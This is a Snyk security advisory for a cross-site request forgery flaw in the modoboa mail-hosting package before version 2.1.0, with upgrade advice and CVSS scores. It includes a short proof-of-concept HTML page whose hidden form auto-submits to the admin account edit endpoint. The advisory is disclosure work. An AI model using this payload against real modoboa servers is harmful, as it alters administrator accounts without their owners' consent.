Cross-site Request Forgery (CSRF) Affecting modoboa package, versions [,2.1.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.09% (40th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-MODOBOA-5457857
  • published 23 Apr 2023
  • disclosed 23 Apr 2023
  • credit memmedrehimzade

How to fix?

Upgrade modoboa to version 2.1.0 or higher.

Overview

modoboa is a Mail hosting made simple

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) in edit operations.

PoC

  1. Login as admin.
  2. Try to edit admin accounts (example id=4)
  3. Open the following file in the browser:
<!DOCTYPE html> <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://demo.modoboa.org/admin/accounts/4/edit/"> <input type="hidden" name="active_tab" value="default" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
6.8 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    High
  • User Interaction (UI)
    Required
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

6.8 medium